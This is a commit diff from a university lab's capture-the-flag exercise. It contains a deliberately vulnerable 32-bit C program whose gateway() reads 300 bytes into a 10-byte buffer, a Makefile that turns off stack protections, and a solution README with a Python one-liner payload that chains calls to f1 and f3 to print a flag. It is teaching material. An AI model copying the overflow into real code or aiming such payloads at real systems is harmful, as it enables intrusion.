Skip to content

Commit 172be3d

Browse files
Nastyst16Nastyst16
committed
i consider feeling-chained task to remain on 32bit version due to didactical reasons
1 parent fb229b5 commit 172be3d

File tree

14 files changed

+430
-260
lines changed

14 files changed

+430
-260
lines changed

‎labs/lab-12/tasks/feeling-chained/README.md‎

Lines changed: 29 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,29 @@
1-
---
2-
nav_order: 7
3-
parent: Lab 12 - CTF
4-
has_children: true
5-
---
6-
7-
# Task: Feeling Chained
8-
9-
Follow the sequence of operations in the functions of the binary at `feeling-chained/support/buff-ovf3`.
10-
Identify the necessary ones and... you already know how to call them.
11-
12-
If you cannot find your way through this exercise, look for variables that you need to overwrite with specific values in order to finish the exploit, and think of their positioning on the stack.
13-
The previously mentioned [online example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85) is still highly relevant.
1+
---
2+
nav_order: 7
3+
parent: Lab 12 - CTF
4+
has_children: true
5+
---
6+
7+
# Task: Feeling Chained
8+
9+
Follow the sequence of operations in the functions of the binary at `feeling-chained/support/buff-ovf3`.
10+
Identify the necessary ones and... you already know how to call them.
11+
12+
If you cannot find your way through this exercise, look for variables that you need to overwrite with specific values in order to finish the exploit, and think of their positioning on the stack.
13+
The previously mentioned [online example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85) is still highly relevant.
14+
15+
## Checker
16+
17+
To test the implementation, enter the `tests/` directory and run:
18+
19+
```console
20+
make check
21+
```
22+
23+
In case of a correct solution, you will get an output such as:
24+
25+
```text
26+
test_payload ........................ passed ... 100
27+
28+
Total: 100/100
29+
```

‎labs/lab-12/tasks/feeling-chained/solution/Makefile‎

Lines changed: 23 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,23 @@
1-
CC = gcc
2-
CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
3-
LDFLAGS = -no-pie -m32
4-
SRC_DIR = .
5-
TARGET = buff-ovf3
6-
OBJ = buff-ovf3.o
7-
8-
all: $(TARGET)
9-
10-
obfuscator: $(SRC_DIR)/obfuscator.c
11-
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
12-
13-
deobfuscator: $(SRC_DIR)/deobfuscator.c
14-
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
15-
16-
$(TARGET): $(OBJ)
17-
$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)
18-
19-
$(OBJ): $(SRC_DIR)/buff-ovf3.c
20-
$(CC) $(CFLAGS) -c $(SRC_DIR)/buff-ovf3.c
21-
22-
clean:
23-
rm -rf $(OBJ) $(TARGET) obfuscator deobfuscator
1+
CC = gcc
2+
CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
3+
LDFLAGS = -no-pie -m32
4+
SRC_DIR = .
5+
TARGET = buff-ovf3
6+
OBJ = buff-ovf3.o
7+
8+
all: $(TARGET)
9+
10+
obfuscator: $(SRC_DIR)/obfuscator.c
11+
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
12+
13+
deobfuscator: $(SRC_DIR)/deobfuscator.c
14+
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
15+
16+
$(TARGET): $(OBJ)
17+
$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)
18+
19+
$(OBJ): $(SRC_DIR)/buff-ovf3.c
20+
$(CC) $(CFLAGS) -c $(SRC_DIR)/buff-ovf3.c
21+
22+
clean:
23+
rm -rf $(OBJ) $(TARGET) obfuscator deobfuscator

‎labs/lab-12/tasks/feeling-chained/solution/README.md‎

Lines changed: 14 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,14 @@
1-
---
2-
nav_order: 1
3-
parent: 'Task: Feeling Chained'
4-
---
5-
6-
# Solution
7-
8-
> 💡 **Note**: The buffer overflow shown here works on 32-bit binaries where function arguments are passed on the stack, allowing us to directly place values after the return addresses.
9-
10-
By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` need to be called in this order, with those exact parameters.
11-
`f3` is the one that actually calls `get_flag()`.
12-
Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made).
13-
14-
```sh
15-
python3 -c 'import sys; sys.stdout.buffer.write(
16-
b"A"*22 +
17-
b"\x48\x93\x04\x08" + # f1 address
18-
b"\xf2\x92\x04\x08" + # f3 address
19-
b"\x38\x00\x00\x00" + # 56
20-
b"\x0d\x00\x00\x00" # 13
21-
)' | ./buff-ovf3
22-
```
1+
---
2+
nav_order: 1
3+
parent: 'Task: Feeling Chained'
4+
---
5+
6+
# Solution
7+
8+
By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` need to be called in this order, with those exact parameters.
9+
`f3` is the one that actually calls `get_flag()`.
10+
Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made).
11+
12+
```sh
13+
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x56\x93\x04\x08" + b"\x00\x93\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3
14+
```

‎labs/lab-12/tasks/feeling-chained/solution/buff-ovf3.c‎

Lines changed: 85 additions & 85 deletions
Original file line numberDiff line numberDiff line change
@@ -1,85 +1,85 @@
1-
// SPDX-License-Identifier: BSD-3-Clause
2-
3-
#include <stdlib.h>
4-
#include <stdio.h>
5-
#include <string.h>
6-
7-
#define MAXC 1000
8-
9-
static int my_global_var;
10-
static int my_other_global_var;
11-
12-
void get_flag(void)
13-
{
14-
const int start_offset = 5;
15-
unsigned int seed = 42;
16-
17-
if (my_other_global_var != 0x7890) {
18-
printf("You're cheating, mate. Try harder\n");
19-
return;
20-
}
21-
/* Here goes the obfuscated flag outputted by obfuscate.c */
22-
char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x4a\x37"
23-
"\x20\x6c\x24\x21\x49\x5c\x08\x45\x41\x58\x39\x40\x35\x6f\x25\x43"
24-
"\x31\x70\x6d\x71\x56\x1e\x0a\x11\x32\x61\x07\x64\x25\x0b\x4c\x31"
25-
"\x0b\x43\x07\x0f\x7c\x4c\x0a\x6b\x37\x1d\x6c\x09\x70\x6a\x54\x5b"
26-
"\x2d\x5d\x1a\x46\x31\x70\x24\x2b\x51\x2c\x6d\x06\x16\x47\x70\x4b"
27-
"\x71";
28-
29-
int i = 0;
30-
int iflag = 0;
31-
int garbage;
32-
char *res = (char *)malloc(MAXC);
33-
34-
while (flag[iflag]) {
35-
garbage = rand_r(&seed) % 5;
36-
while (garbage--) {
37-
rand_r(&seed);
38-
++iflag;
39-
}
40-
res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
41-
++iflag;
42-
}
43-
res[i] = 0;
44-
45-
puts(res);
46-
}
47-
48-
void f3(int x)
49-
{
50-
if (x == 13 && my_global_var == 0x1234) {
51-
my_other_global_var = 0x7890;
52-
get_flag();
53-
} else {
54-
printf("You missed something\n");
55-
}
56-
}
57-
58-
void f2(void)
59-
{
60-
printf("I dont do nothing\n");
61-
}
62-
63-
void f1(int a, int b)
64-
{
65-
if (a + b == 69) {
66-
printf("You're doing great\n");
67-
my_global_var = 0x1234;
68-
} else {
69-
printf("You got the params wrong\n");
70-
}
71-
}
72-
73-
void gateway(void)
74-
{
75-
char buff1[10];
76-
77-
fgets(buff1, 300, stdin);
78-
}
79-
80-
int main(void)
81-
{
82-
gateway();
83-
84-
return 0;
85-
}
1+
// SPDX-License-Identifier: BSD-3-Clause
2+
3+
#include <stdlib.h>
4+
#include <stdio.h>
5+
#include <string.h>
6+
7+
#define MAXC 1000
8+
9+
static int my_global_var;
10+
static int my_other_global_var;
11+
12+
void get_flag(void)
13+
{
14+
const int start_offset = 5;
15+
unsigned int seed = 42;
16+
17+
if (my_other_global_var != 0x7890) {
18+
printf("You're cheating, mate. Try harder\n");
19+
return;
20+
}
21+
/* Here goes the obfuscated flag outputted by obfuscate.c */
22+
char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x4a\x37"
23+
"\x20\x6c\x24\x21\x49\x5c\x08\x45\x41\x58\x39\x40\x35\x6f\x25\x43"
24+
"\x31\x70\x6d\x71\x56\x1e\x0a\x11\x32\x61\x07\x64\x25\x0b\x4c\x31"
25+
"\x0b\x43\x07\x0f\x7c\x4c\x0a\x6b\x37\x1d\x6c\x09\x70\x6a\x54\x5b"
26+
"\x2d\x5d\x1a\x46\x31\x70\x24\x2b\x51\x2c\x6d\x06\x16\x47\x70\x4b"
27+
"\x71";
28+
29+
int i = 0;
30+
int iflag = 0;
31+
int garbage;
32+
char *res = (char *)malloc(MAXC);
33+
34+
while (flag[iflag]) {
35+
garbage = rand_r(&seed) % 5;
36+
while (garbage--) {
37+
rand_r(&seed);
38+
++iflag;
39+
}
40+
res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
41+
++iflag;
42+
}
43+
res[i] = 0;
44+
45+
puts(res);
46+
}
47+
48+
void f3(int x)
49+
{
50+
if (x == 13 && my_global_var == 0x1234) {
51+
my_other_global_var = 0x7890;
52+
get_flag();
53+
} else {
54+
printf("You missed something\n");
55+
}
56+
}
57+
58+
void f2(void)
59+
{
60+
printf("I dont do nothing\n");
61+
}
62+
63+
void f1(int a, int b)
64+
{
65+
if (a + b == 69) {
66+
printf("You're doing great\n");
67+
my_global_var = 0x1234;
68+
} else {
69+
printf("You got the params wrong\n");
70+
}
71+
}
72+
73+
void gateway(void)
74+
{
75+
char buff1[10];
76+
77+
fgets(buff1, 300, stdin);
78+
}
79+
80+
int main(void)
81+
{
82+
gateway();
83+
84+
return 0;
85+
}

0 commit comments

Comments
 (0)